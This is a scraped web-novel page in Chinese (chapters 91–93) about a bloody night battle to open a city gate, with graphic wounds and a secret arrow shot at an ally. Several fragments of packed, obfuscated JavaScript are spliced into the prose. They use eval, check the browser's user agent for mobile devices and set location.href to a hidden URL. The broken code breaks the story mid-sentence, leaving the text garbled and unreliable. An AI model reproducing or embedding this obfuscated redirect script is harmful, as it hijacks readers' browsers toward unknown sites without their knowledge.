d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114464|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的肩膀,齐声吆喝发力,把第二根闩杠抬了下来,“轰然”一声投到地上。 这些斥候身中数箭,肩、臂、腰多处受创,咬着牙关合力把取下门闩的大门一寸寸推开。 武元义见城门微开,给守在通道外的张城下令:“不要管我们,快登城楼点火。” 张城和同伴紧贴墙壁以刀护在前面,眼见一个个兄弟中箭而亡倒在地上,他早就被一腔愤怒冲击的双目赤红,收到武元义下达的命令后,立即背上干柴带四五个兄弟往城楼上冲。 通往城楼的这条道虽不长,但有两重危险,一方是楼上垛口的弓箭手,一方来自吐罗鹿天面前的弓箭手。陶修和另外十几个兄弟已先攻上城楼,为他们扫清了路障,不知此时陶修的处境如何。 就在这时,轰隆一声从城墙摔下一人,口中喷溅出鲜血,张城忙望去一眼,是自己人。 两扇沉重的大门在威锋幢人的手中缓缓打开,张城和同伴躲避凌乱的箭拼命冲上城墙,每爬一层石阶就听到守住大门的兄弟竭力压制在喉间的痛苦呻吟。 陶修与最先攻上城墙的同袍奋力厮杀,但敌军众多,他们于箭雨中寸步难行,很快十几人就倒下大半。 城门已开,若城头上的烽火不能按计划点燃,胡墅的军队就不敢贸然前进。危情迫在眉睫,剩余的壮士无力跟强大的周军耗下去。陶修躲进一角,解下背后的干柴放在墙根,用衣裾擦干掌心汗水,抹净残留在长枪上的血迹。这是根普通的枪,木杆还有点弯曲,枪头倒还锋利。他用手抹了把脸,本想咽下一口唾沫缓缓劲,但因心里急躁嘴中发干,只做了个吞咽的动作。 一起冲上来的同袍只剩四人,苟延残喘,拼死挣扎。弓箭手的注意力开始转移至城楼之下,陶修提枪背剑紧贴墙壁,闪至垛口杀掉第一个周军,接着第二个,第三个,此时,鬼魅一样的身影终于引起敌人注意。 呼啦一下,万箭齐射,率先冲上城墙的十六个威锋幢队员全部阵亡,仅剩浑身是血的陶修踩着脚下的死尸向前。 他的长枪飒飒生威,对敌人有过的怜悯荡然无存,目中迸射出搏命的凶光,他枪下的惨叫响彻夜空,前排弓箭手吓得挤退成一团,但后排的弓手立即摆好阵势将长弓拉满。 无数箭从他周身飞掠,即便是铁铸的身也经不住此番猛急的攻势,陶修只能飞快缩短与弓箭手间的距离,没给自己留任何后路毅然跳进人群,此时,腹背受敌。弓箭手随之退下,换上持戈执戟的士兵,将他围在中心。 “此人杀得最凶,杀了他。” 这声嘶喊极振势气,围住陶修的人化做饿狼,急不可耐撕咬落单的猛兽。 但他们小瞧了这只落单的凶兽。他动作敏捷灵活且狠戾果断,手中那把无人靠近的长枪撼山搅海,周军只能绕着他兜圈伺机下手。 伤亡者越来越多,围困在中间的少年除了力尽筋疲外,竟没人能伤他分毫。 陶修的青布衣裳被汗与血浸湿,再次失去原色,冰冷的夜风中,他闻到胸口的血腥气,体力过度消耗,此时已孤木难支。陶修拄着长枪大口喘息,遥遥望见烽火台却靠近不得。 几步远的地方,一名周军跳上墙头,居高临下,对准人群中疲惫不堪的少年拉满弓箭,放箭之前,他被少年腰间通红的大带吸引了一瞬,那根腰带真他娘的晃眼。 91.壮士死城门开 距漳南城七八里外,公仪林统领的一千人马在暗夜中就地休息,这一休息就是两个时辰,派去的一个又一个斥候都带回同一个消息——城门未开,烽火未燃。 公仪林立在马旁紧攥缰绳,下唇几乎被自己咬破,他比任何一人都希望城门能及时打开。否则,里面将是一败涂地的威锋幢的尸体。 不少将士已在重露繁霜下蜷起身体打盹。公仪林走到一名士卒前挥剑斩断其手中的盾牌,听见巨响,将士们稀拉拉从地上爬起来整顿队形。 “行军打仗最忌掉以轻心,轻视敌人,城内的兄弟正在拼死搏杀,你们竟敢在此睡觉,都忘了今夜的目的?把枪、矛擦亮,打起精神等着。”将士们看不清这个身着银色精铠的少年模样,但他的怒吼声在空旷的野外、冰凉的夜晚字字清晰地钻进耳中。 公仪林翻身上马,对身边的周石、阿八下令道:“传我军令,军队前进五里。” 阿八小声问:“还不见火势,离城太近,万一敌人突然杀出来,我们恐怕连反应的机会都没有。” “还有一个多时辰天就亮,不管能不能见到烽火,我都要攻城。”他将臂一挥,将士们紧随在其马后,行军的步伐声振旷野。 第一支箭擦着陶修的脖子飞过,但他没能躲开第二箭。箭头没入胸口的一瞬,一直撑在枪杆上的手突然滑下,双腿失力跪倒在地,他迅速拔掉身上的箭,箭镞撕开血肉,鲜血汩汩涌出。 这时,有人壮胆踢开他手中的长枪。 霎时间敌人一拥而上。 陶修在疯狂压过来的人群里随手拽了一个周军,紧紧钳住此人的衣襟挡在前面做盾,慢慢后退,以身后的墙壁为护,拔出林修剑横在眼前。赤红的双目在染满鲜血的脸堂中间尤为可怖,这番厮杀令其浑身的血液沸腾不止,脖颈血管鼓动。 即便拉了一人在前面遮挡,也挡不住敌军肆虐的射杀,陶修察觉头顶有股热血淌入眼中,视线逐渐模糊,分不清这血是自己的还是敌人喷溅在头发上的,抬起左臂揉了下眼睛,还是看不清前面逼近的人脸。 人一旦有了怯意,身体便也跟着沉钝,陶修努力站直双腿,方才澎湃激烈的杀戮感消失殆尽,浑身像散架一样聚不起力量,能做的只有等死。死就死吧,好歹替同袍们杀掉一半的弓箭手。 他紧贴墙壁做最后的自卫。几十根长矛呈半圆将他围在中间。 “抓活还是抓死?” “他杀我们二十多兄弟,今日必死。” 冰冷的长矛把陶修死抵在城墙壁上无法动弹,有一根矛头贯穿他的左膀将其固定在墙壁上。鲜血顺着矛头爬下、汇聚成滴洇入砖缝里。 这股钻心的疼令陶修异常清醒,无法视物的双目加剧他的恐慌。周军里一个队长模样的人拔了腰间匕首,两步走到陶修跟前,一把薅起他的头发逼其抬头,锐利的刀锋在他绷紧的喉咙上试了一把,似要熟悉割喉的步骤,对身边的兄弟邀道:“听说被抹喉的人会在临死前露出求生的绝望神情,诸位兄弟今日都来开开眼。” 脆弱的咽喉暴露于锋刃下,陶修闭上眼急促呼吸,胸膛起伏剧烈,干涩的喉咙已感觉到被刀刃切割的疼痛,那一瞬间,他想起第一个死在自己手中的周军,那是在水下,在水中漫开的鲜血像朦胧的红雾。 “你在发抖,你在怕?刚才不是杀的很欢吗?你究竟是什么东西居然能杀我们这么多兄弟。” “别跟他废话,杀了他了事,下面的‘老鼠’还没消灭干净。” 陶修浑身发寒,突然睁开通红的双目逼视眼前的人,咬紧嘴巴,一声不吭。 “老子就讨厌你们这种不怕死的眼神……”言罢,那把五六寸长的匕首从陶修脖子上利落划下一刀,这一刀切断生路,连接幽冥,鲜血霎时涌出并遮住割开的皮肉。陶修立时从他手中滑跪下去,捂住血淋淋的脖子,全身痉挛打颤,他的眼前一片殷红,周围那些嗡嗡哄哄的嘈杂声将他包围、裹挟,他想在其间沉睡。 他成了只晃悠在生与死边缘、垂死挣扎的伤兽。 “才浅浅试了一刀而已。”周军队长再次抓起他的头发令其仰头,撕开血肉模糊的伤口。 陶修艰难地从嘴中吐出一句话:“给个痛快。” 就在此人重又抵上他的喉部时,拐角猛然传来一声嘶吼:“住手。”张城并不知陶修的状况,这一嗓子不过是拖延时间而已。 敌人闻声后立即散开作防御时,他才看见被他们踩在脚下鲜血淋漓的陶修,被迫昂起头颅,露出皮开肉绽的脖子,将挨上致命的一刀。 张城几乎魂飞魄散,拽掉背后的干柴,目眦俱裂要杀过去。但有人已快他一步冲出来,如影如电,高大的身量像从天而降的巨石,轰然一声炸进敌人当中,暴出如风。 割喉陶修之人的头颅被他一锤抡烂。霎时惨叫连续不断,鲜血喷溅如雨,残肢断骸掉至张城脚下,他目瞪口呆看着那人搅海翻江的动作,一时都忘了自己该做的事。 张城回过神命身后活下来的两人赶到烽火台点火,他拎刀也加入这场血腥的杀戮中。 吐罗鹿天也注意到城楼上的惨叫,立即拨几十人冲上城墙增援,并让手下的两排弓箭手持续放箭。 武元义等人已将大门推开五六尺宽,恰好可以躲在重门之后躲避飞矢,继续下令:“快把门全部打开,给我死守住城门。” 两根上百斤重的闩杠从开启的大门里丢出去,此时还有不到十人守在大开的城门前。 胡墅的军队走至哪里?烽火台的信号是否燃起?今夜的西城门到底有多少敌人?武元义面无表情敌视着吐罗鹿天身后不到百人的军队,据眼前的状况推算,伊娄振明把大部分兵力都调在南门做防御,此处应该是埋伏他们的全部兵力。只要能抗住吐罗鹿天百多人的攻击,或许还能活。 他握着黑长大刀,沉声为剩下的同袍打气:“烽火即将燃起,兄弟们一定要守住!” 话音刚落,就见吐罗鹿天身后的士卒冲了过来,杀声震天。 武元义镇定自若,令大门两侧各留两人坚守,余者皆随他挡在通道处,狭路相逢,有死必有生。 张城的目光从满地残骸移至那大汉身上,才发现是个和尚,尚看不清他的面容,但其宽厚如山的背影和手中令人发怵的铁锤足给了他骇然的印象。 大和尚转过身,跨过一具具尸体走向陶修。 陶修捂紧脖子靠在墙壁上喘息,尽管视线模糊,依旧辨认出师父带来的飓风,他滚动喉头暂不敢发声,以手指示烽火楼。 张城飞快跑至陶修跟前,从衣摆撕下布带扎住他左臂的伤口,一抬头又发现胸口也在流血,不禁悲从心起。 “先去点火作号。”陶修推了他一把。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13114465|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 烟楼还没燃起大火,张城只能丢下陶修,起身从城墙拔了两根火把飞奔过去助力。他刚走,又从楼下冲上来一撮周军。 辛南佐拖过三具尸体盖在陶修身上,握双锤挡在陶修前面,两把斗大的铁锤互击两次,强烈沉闷的撞击有种碎骨摧身的震撼,他对周军怒号一声:“今日一个都别想活着离开。” 敌军持矛不敢近前,彼此推搡,僵持片刻后,他们转换队形,十几个弓箭手被推到前面。辛南佐从地上抓起一个半死不活的周军挡在胸前,不待他们放箭,已闪冲至人群,两把铁锤飞快舞动,残影缠着红雾,骨裂伴随哀嚎。 陶修躺在地上侧首盯着人群中疯狂暴戾的师父,他像极了面目狰狞的罗汉。 烽火楼在最高处,张城往烟楼这边赶时,正遇两名弓箭手躲在垛口朝威锋幢的同袍放箭,他正因垂死的陶修而急怒一身,当即挥刀从背后斩杀二人。 他赶至烟楼,和同伴把干柴统统推进去,小心翼翼用火把从最根处点燃,寂静燃烧的干柴终于发起冲天大火,通红的大火瞬间照亮周边黑暗,他对另外二人道:“守在此处,继续往内投柴,胡墅的军队到达之前决不能熄掉。” 张城朝掌心吐了口唾沫,搓搓干燥的手,狠狠盯着陶修的方向,咬牙切齿道:“这些北方的畜生,老子现在就叫你见阎罗。” 公仪林在离漳南城二三里远的地方停下军队,等不到半个时辰,忽见比夜更黑的城墙最高处亮起一抹红光,陡然振奋精神,举剑高喊:“城门已开,跟我夺回漳南。” 他带上仅有的二十个骑兵率先赶去城下。阿八见公子已听不进任何建议,还是提醒道:“到了城下由我先探路试险,万一是埋伏。” 公仪林紧盯夜空中越烧越旺的大火,单枪匹马在前,奋不顾身。 威锋幢的同袍一个又一个死在武元义脚下,他拄着长枪半跪在大开的城门前,擦去嘴角咽下去又漾上来的腥甜的血,对立在他前面的吐罗鹿天道:“今夜夺城不成,还有明日。今日死在你刀下,明日你们也将是我刀下魂。来吧——” 他身中数刀,血流不止,最致命的一刀在腹部,在看见烟楼燃起大火的那一刻,浑身又重蓄力气,他想听见身后千军万马奔踏而来的声音,他想知道今夜死去的同袍是否换回了值得的东西。 吐罗鹿天抽出利剑,扔掉剑鞘,缓缓走到武元义面前,“十几年来我一直都想培养自己的死士,但从未成功,我敬佩你们都不惧死,听说还是几百人,你们的将军究竟用什么方法令这些人都甘愿为他赴死,求教。” 武元义站了起来,从身上突然倾下一捧血水,是他半跪在地从腹部流出积蓄在衣裳里的血,他呵呵笑一声,又抹净嘴角的血,对吐罗鹿天大声道:“等你见到我们将军时再问他这个问题吧,若你还有机会活下来。我们并非死士,是群把敌人驱出疆土的忠义之士,在大陈,有千千万万。” 守在两扇大门外的同袍见武元义几乎被血染红,呜咽哭求:“武大哥,让我过去帮你。” “守住大门!”吴元义咆哮一声,这最后一声,声嘶力竭,响彻整个安静的西门。吐罗鹿天举起利刃,把他最后一声斩断在寒冷彻骨的黑夜里。 吐罗鹿天轻勾右手两指,令部下将守在重门边的四人赶尽杀绝,战了近一个时辰,这四人总该是今夜最后的活口了吧。 92.朝霞绽于东方 守门四人一死,吐罗鹿天就命人关闭城门。 他们抬回闩杠,即将闭合城门时,从黑暗中传来震耳欲聋的马踏之声,几十骑兵掠过光与暗的交界显露身影,迅捷的速度如箭如光,领头的银铠少年左手拉住缰绳,右手攥剑,眉头紧蹙,面目冷峻。他第一个冲入即将闭合的大门,挥剑砍杀。 二十多铁骑气势磅礴,冲出城门的甬道后迅速将周军冲的七零八落。吐罗鹿天没料到敌人来的如此迅速,见状飞快跑至战马前翻身上去,发号命令:“关城门,快关城门——” 铁骑摆成一排拦在甬道前,阻挡周军闭门。 公仪林骑马检查一具又一具尸体,血腥的惨状另其慌乱不安,没有他要找的人,“威锋幢是否还有生者?立即回答我。” 无人应答。 他听见周石慌乱地嘶喊:“武头领,武元义……你醒醒。” 周石茫然四顾,想在众多陌生面孔中找到熟人,但熟悉的面孔都倒在血泊里,他抱着武元义的尸体大吼一声,怒视退至火光所照之外的周军。 敌军的兵力不足百人,但已持盾架弩摆好防御的队形。周石怒睁双目,提枪翻马就冲了过去。公仪林急令铁骑闯入敌阵中助他。 密集的箭自黑暗中射出,周石无视中箭的伤臂,冲阵而去,用长枪直挑马上的吐罗鹿天。 吐罗鹿天有杀敌的怒火,周石更有报仇的大恨,两人的打斗异常激烈,兵器森寒,相撞之声在黑暗里尤其清脆,来自北方的身材更魁梧的吐罗鹿天使一柄大刀,他在马上的本领比周石经验丰富,佯装逃跑又突然回砍一刀,周石躲避不及,手中长戟被斩断,巨大的冲击把他震下马背。 公仪林立即上前搭救。他怒击马尻使其冲着吐罗鹿天的马撞将去,高举利刃,这是个玉石俱焚的鲁莽之举,若吐罗反应不够快就一定会被捅个对穿。 吐罗鹿天把刚把周石砍下马背不及回神,公仪林的马已撞过来。 两匹马皆撞翻在地。 公仪林顺地一滚利落地翻身跃起,身手矫捷,凌空劈下一剑。吐罗鹿天瞬时失去马背上的优势,那砍在他两腿间的一剑吓得他魂飞魄散,手脚并用爬了数步才从腰间拔剑。 这时,城门外的胡墅步兵已赶到,一窝蜂杀进城内,把周军团团围住。预见结果的周军,有的已解下兵器。 要想活命就必须生擒眼前头狼似的少年将军,吐罗鹿天咬牙切齿杀将来,剑如光影,是他想活命的最后的挣扎。 公仪林用三位师父传授的剑招格挡对方剑势,虽招式有些零碎,但气力并不逊于吐罗,手中所持的还是贺功臣削铁如泥的宝剑。他还不清楚陶修的状况,心急如焚,盛怒之下,吐罗鹿天岂是他的对手,这时,周石又从背后扑上来,吐罗在两人夹击之下迅速败下,两把利器分别从他前胸后背错落刺穿。 吐罗鹿天抓着公仪林的剑跪下去,往后倾倒,躺在地上口吐鲜血不停痉挛,周石举起长戟对准他的心窝猛的刺下,“你们来吴州的第一天就该知道今日下场。” 公仪林踩上吐罗尸体拔下宝剑,急对将士下令:“投降周军全都捆了等候发落。留下二百人守城门,其余众人立即赶去南门。”转头吩咐周石、阿八:“南门烟火还未起,不知门内吉凶,你们二人速领兵马赶去增援,刻不容缓。” 两人刚领命,突然从城楼射下一支利箭直穿公仪林后背,他应弦而倒。 阿八大惊失色,慌忙扑过去,用背挡住箭飞来的方向,“将军?公子!” 公仪林的脑中有片刻空白,完全不知发生了何事,慢慢从挨了重击的眩晕中清醒过来,摸摸胸口并没被穿透,嘘了一口气后斥道:“速去南门,快。” 已有人冲上通往城楼的石阶,企图抓住楼上放箭之人。 八百多将士离去后,公仪林叫人割断背后的箭杆,又在一具具尸体中寻找陶修,每一具尸体都惨不忍睹,翻看伤亡将士躯体的心情很沉很重,怕是他,又怕连伤亡中都没有他,心头阴翳恐慌,双腿逐渐无力,咬在齿间的唇和手抖的一样厉害。 威锋幢一个活口都没有,刚才要是能来的再快一点,或许周石抱在怀里哀嚎的人就不会死。有人上前扶住公仪林渐渐不稳的身体,他以剑拄地,抬头看向城楼:“都检查过没有?” 一个小兵从城楼伸出半个身子喊道:“公仪将军,这里还有活口,都已擒拿。” “有没有我们的人活着?”搀扶公仪林的人代他喊了一嗓子。 “有,还有五人活着。” 公仪林拨开人群冲了上去,生龙活虎,满身蓬勃的朝气让背后插的半截箭像跟众人开的小玩笑。 城楼上的惨状比下面更血腥,横七竖八的尸体几乎都死于铁锤击打,骨碎脑破,侥幸活下的周军已被捆住押了下去。 公仪林先看见张城,那人在火把光照下喘息未定,整张脸被血染红,他不确定此人就是张城,早听闻他和陶修都是沧澜队的佼佼者,能活下来的一定是他,如果是他,那陶修在何处? 靠近城墙的位置围了一圈人,交头接耳,公仪林有种预感,圈中被围的就是要找的人。他迅速推开三五人,陶修躺在地上垂死的模样赫然入目。 一个大和尚正给他脖间止血。 张城一眼就看见公仪林,有点意外他出现在此处,忙叉手行礼:“右卫将军,你怎么会在漳南?” 公仪林蹲下身慢慢靠近陶修,伸出去的手滞在半空不知该落在他身上的哪一处,哪一处都是血。他不敢触摸陶修脖间被血浸透的绷带,感受不到颈脉跳动,就无法知晓这个人是死是活。发抖的手缓缓碰上陶修的唇,鼻下温和湿润的潮气温柔地裹住他的两指,在感受到陶修气息的刹那,他眼中突然滚下泪珠,整个身子终于倾塌碎掉。 他抬头收住泪吸下一口深秋的冷气,直到心口没有太大起伏,才回复张城:“我与陶修约好在西门见。” 听见公仪林的声音,意识清醒的陶修睁开眼,朝他轻轻笑了下,张开嘴艰难的发声:“终于来了。”抬起右手指着东南角方向,哑声问:“南门、东门情况如何?” 公仪林把他冰凉的手抓在掌心,喉咙酸涩,许久才说出完整的话:“只有南门。散出的消息是同时袭击南、东、西三门,目的是让伊娄振明把兵力分散至三处,减弱南门的威胁。我已命将士赶去南门接应,会成功的。” “扶我起来。” 陶修的声音沙哑、破碎,每一句都像是从脆弱的躯体上发出的最后一句。 公仪林轻轻按住他,什么都说不出。 “别担心,没伤到要害。”他起身后把身体的重量交到公仪林手中,依靠在他身上眺望东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127327|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南方向。东方已露天光,烽火台的火若是不能如期燃起,西门也将注定失败,无辜的百姓必遭伊娄振明的疯狂屠戮。西门距南门有四里左右,但愿派去的将士能扭转局面。 拂晓的风寒冷清新,令人神清气茂,插在城楼上的数根旌旗在冷风中猎猎作响,这是最后的关头,陶修等人焦虑难安地眺望东南方,等候系着千万人性命的红色大火映满天空。 公仪林紧紧抓住陶修冰凉的指尖,思索这些豁出性命的斥候究竟是抱着何等信念甘愿为国捐躯,仅仅因为私欲和金钱的奖赏? 天边的朝霞铺满整个天空,有蓝桔青红许多的炫烂色彩,在以此为幕景的前方,伴着浓烟,南城门终于燃烧起熊熊大火,烽火楼的大火烧出了比朝霞更迷人而激动人心的火光。 看见火焰的那一刻,公仪林肩头一沉,陶修倒在他搭在垛口的右臂上。 一夜之间,漳南城又改姓陈,大部分百姓并不知发生何事,到处打听他们睡得正浓时城中发生的大事,听说西门有佛光笼罩,一个金刚罗汉几乎杀翻近八十人,听说身着银铠的小将军最后关头拯救了南门的危势,又听说从内突袭城门的都是大陈的忠义之士,是和城中每个百姓一样的身份。 但最后,他们还听说,这帮两百多人最后仅活了十八人。百姓簇拥来到永定寺外虔诚烧香,都希望最后一种传言是假的。 这场借着“扰境”为借口的夺城之战,不得民心的伊娄振明全军覆没,剩下的三千兵马全部成了俘虏。大陈守住漳南城,更是守住了这块能与寿阳抗衡的优越位置。 下一次,与寿阳之间,恐怕很难出现似此次以最小的损失夺取可观战果的事情了。 所有伤员都收治在漳南城的庵庐。陶修换下脏破的血衣,多处伤口都已缝合包扎,疼痛和疲累使他沉沉睡去,合上眼之前,他问公仪林:“你不走吧?” 公仪林用披风挡住背后的箭伤,惨白的脸对着他,露出几颗珍珠似的牙齿抚慰他:“我得看着你好起来。” 陶修眨了几下眼睛就疲惫地睡了。 陶修刚睡,公仪林一把扯住阿八的手臂,额头掉下大滴大滴的冷汗:“快给我叫医工来。”说完也晕了过去。 治完伤的公仪林很快醒来,趴在床上盯着绞在指间已洗净的红色大带,这是前年与陶修分别时偷偷留在他身上的东西。当时因离别在即心中悲伤,就把用了多年的靠身之物留下了。 原来他一直带在身上。 阿八端了药推门进来,跟他一起的还有张城。 公仪林忙从床上爬起来请张城落座,“你也一身的伤,怎么不好好歇歇?快坐,你的手臂怎么样?” 如此客气张城倒有些拘谨,他手臂的骨头没有明显骨折的痕迹,医工说疼痛可能是骨头裂了,绑了夹板的膀子在脖子上挂两天就能摘下,“我这是小伤。倒是公仪公子,阿八说昨日至晚才找医工取箭头,能坚持这么久实在是耐力惊人。” “到处都是伤患,城中又乱糟糟一片,一时忙的忘记疼,不过现在是真疼,抬臂都牵动伤口。”公仪林孩子气似的展示伤口,把膀子举了两遍给张城看看。 阿八把药端至公仪林面前,他放下手里大带接了药。 张城的目光落在熟悉的红色大带上,疑惑地问:“这个是?陶修好像也有一条。” 93.那晚谁都没怕 “哦?他也有?你见过?”公仪林放下药十分有兴趣地追问。 “是他的护身符。平时不见用,只有干可能会丢命的大事时才带着,还说这次要能活下来就告诉我大带的寓意。公子要是也好奇,等他醒了我们一起去问。” 公仪林若有所思,把带子抓在手心揉紧,又叠好放在枕头旁,说:“好,等他醒了就问,我喝了药去看他,你要不要同去?” “我刚从他那过来,还未醒。”张城似有话说,顿了一下谨慎地问:“你背上的箭伤,那晚幸亏你站得远又穿铠甲护身,若是再深一点就是心窝,后果不堪设想。是否看清放箭人的长相?” “事发急切,天黑又离得远,只知是从城楼射下。” 张城没敢说出那晚看到的真相,也许是看走了眼,他若无其事拎出另外一个人,继续问:“公仪公子见过有量大师?” “有量大师?”公仪林差点没反应过来,立即笑道:“我一直叫他辛师父,那身和尚服与他很不相配,虽第一次见他时就是光头,一想起辛师父还是他满头浓发的模样。” “你与他很熟了?” “因陶修的缘故,去年冬在我府上住过几天。有量大师武力惊人,城楼上那一幕尸山血海,恐怕我很难忘记了。” “我跟你一样吃惊,若不是亲眼所见,根本不信这世上还有如此可怕的力气,几十斤的铁锤,一锤就绽开一颗脑袋,虽是敌军的命,我也不忍细想当时的血腥。” “有量大师不是一般人啊!” “看来你也很敬佩他,这两日他是否来探视过你?” 公仪林笑道:“他徒儿伤的那么重,怎有心思记得我这无关紧要的人。” 张城不知如何把话题继续下去,跟公仪林闲聊几句后见他有些坐立不安,很快告辞出来。漫步踱回住处的路上心思游移,那晚听见“吐罗鹿天已死”这句怒吼时,城楼上还有十几个吓破胆的周军,立即解下兵器投降,那时,他看见辛南佐操起地上的弓箭做短暂的犹豫后还是把一支利箭放了出去。 当时他对辛南佐的行为只有感慨:“这大师了不起,杀完城楼上的还帮忙杀楼下的。”直到昨日听周石提起公仪林后心窝那一支精准的箭来自城墙上,才猛然想起辛南佐的行为。 此事若没有人再提起,张城决定当作什么都没发生过。 一起被选进威锋幢的两百多兄弟,一夜之间都成了百姓口中的英雄,冷冰冰的尸体摆了四排,常说要把妻儿接来身边的武元义不必再这么做,他的尸体会运回祖地,他的妻儿想何时去看他就何时看。最好兄弟还在昏迷,周石也躺在屋里继续吃他的蛋羹。 晴朗碧蓝的天空有几只麻雀飞过,午后的风有些冷,似乎能听见永定寺缥缈无定的梵音,连个排解痛苦的人都没有,张城突然觉得人生了无生趣,这一场竭尽全力的大战之后,身体的骨与肉好像被抽空打散,整个人懒散又疲惫,对将来,不,对明天感到很迷惘。 他硬给自己找了件事,去照顾陶修。 年轻力壮就是令人羡慕,挨了一箭的公仪林很快就能下床,步伐稳健,虎虎生风,但这流星大步在跨进门槛看见辛南佐那一刻突然想缩回去,犹豫一瞬心道:我堂堂一个当朝官员,怎地还怕起这个野和尚,罢了,谁叫我上心他徒弟。 说服自己后先咳嗽一声才从容进去。 陶修还在床上沉睡,辛南佐就坐在床下的席子上,见公仪林进来,他略起身施礼,而后又面无表情地坐下。 “辛师父,你从昨天就守在这里,回去躺会吧,这里交给我。” “你的伤也不轻,不劳小公子费神,我还吃得住。” “即便是辛师父你这样勇武的人也架不住一天一夜不阖眼。你要不去歇着,等你徒弟醒了我就告状了啊,不怕他捂着脖子‘啊,啊’着急?” 辛南佐守了徒弟一天一夜,寸步不离。陶修憔悴平静的睡容把他心里的罪过又卷土重来一次,要不是当年的盲目服从和急于立功的欲望所误导,此子又怎么会流落他乡多年,让他从萧室世子沦落为陶家的苦命孩子,对他补偿的再多也不及他所失去的万分之一。 他斜了一眼在身侧落座的公子,根本控制不住胸口的怒火,压了半天才摆出一副冷漠的态度。一想到这贵公子跟徒弟在井边的拉拉扯扯和他不敢提及的往事,忍不住就要对其口出恶语,可细想这孩子又何错之有,昨夜过后,在杂乱的人群里看见他活着,终于把悬挂在喉咙的心放了下来。 公仪家这小子对徒儿关心的有点过分,如果不是他多事,徒弟这一辈子都是平凡无奇的乡下人,偏偏这人爱管闲事,有意无意领着陶修靠近真相,管闲事就罢了,他还敢毁陶修清白,真想一锤子给他弄废了。 或许世间不缺公道,他夺走陶修一切,必有一人要帮陶修再寻回来。 公仪林又热情地催促一句:“去休息吧,我看着他。” 辛南佐起身捶击盘麻的双腿,不冷不热要求:“他醒了立即告诉我。” “我知道。” 走到门边又转身说:“你的伤,不能大意。” “谢师父关心。” “我可不是你师父。” 辛南佐走后,公仪林闭上门坐到床边,把陶修的手从被子里拿出来握着,发现自己的手比他的还凉后,又给塞了进去。双掌搓了许久,直到指端发红发烫,才敢轻轻触碰陶修的脸颊。 这张脸安安静静,呼出的气息均匀舒缓,没有伤痛带来的皱眉,没有噩梦缠绕,失血过多导致脸色蜡黄,整个人比以往清瘦许多。 昨日医工给陶修包扎脖间的伤口时,公仪林就站在旁边,触目心惊的血肉往外绽开,当时他对向陶修下刀之人的感激多过杀意,这一刀再深一点,哪怕只是一点,躺在这里的人就没有现在的温度了。 他的指头抚过陶修的耳朵,抚过鬓角的碎发和眉眼,又碰上苍白的双唇,这人静得他想哭。 公仪林滚动一下干涩的喉头,深深吸一口气再缓慢吐出来,这并未缓解胸膛那颗因同情和怜悯陶修而蓬勃跳动的心脏,俯下身对失了血色有点凉意的唇落下一吻。 很轻很仔细的一吻,但时间足够长,长到背伤撕裂不得不主动结束,“康乐,能不能快点醒来,再过两天我不得不回去了,你还想不想醒来时一眼就看见我?” 公仪林在床边一直坐到天黑,直到百无聊赖必须找件事打发时间的张城端药过来。二人费尽心思没能把药给陶修喂进去,“还是早日回去京口,安桂对喂药这种细致活有耐心,也有手段。” 张城这句话猛然提醒了公仪林,他决定把陶修带回建康,以养伤的名头把他留在身边。 天冷碗里的药凉的很快,张城捏着陶修的鼻子迫使其张嘴,公仪林见他动作粗鲁,快要看不下去伸手阻止时,陶修突然抬手推开张城灌到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张城随手带上门,极为郁闷地走去厨房熬粥,有几件小事萦绕心头百思不得其解。其一、破城门的拂晓,众人都在等南门烟楼发火时,他忧心陶修伤势便多关注两眼,看见公仪林、陶修握在一起的手,那时场面悲壮、事态紧急,谁都很紧张,两只缠绕在一起的手他可以理解。其二,他敢确定,公仪林叠好放在枕边的红色大带就是陶修腰上那条。其三,刚才端药进门,公仪林正抱着陶修的伤臂挤在床边打盹。 随意拎出一件张城都不会多想,但凑在一起,就有那么点不对劲。 他托腮望着炉底静燃的碳火,白粥咕嘟咕嘟冒泡,又一阵虚空无力感袭上心头,这世上人人都有至亲之人,他一直当作亲人的好兄弟身边还有个更好的兄弟。 他识趣地将熬好的粥放在门外就走了,对着黑夜呼出一口白气,心道:回了京口我头件事就要找个跟我暖心的人。 方才张城带门出去后,公仪林从席子上走下来,在床边站定后居高临下俯视陶修,声音轻柔,“哥哥要跟我说什么?” “没什么要紧的,给我看看你的伤。我想起来坐炭盆跟前,更暖和些。” 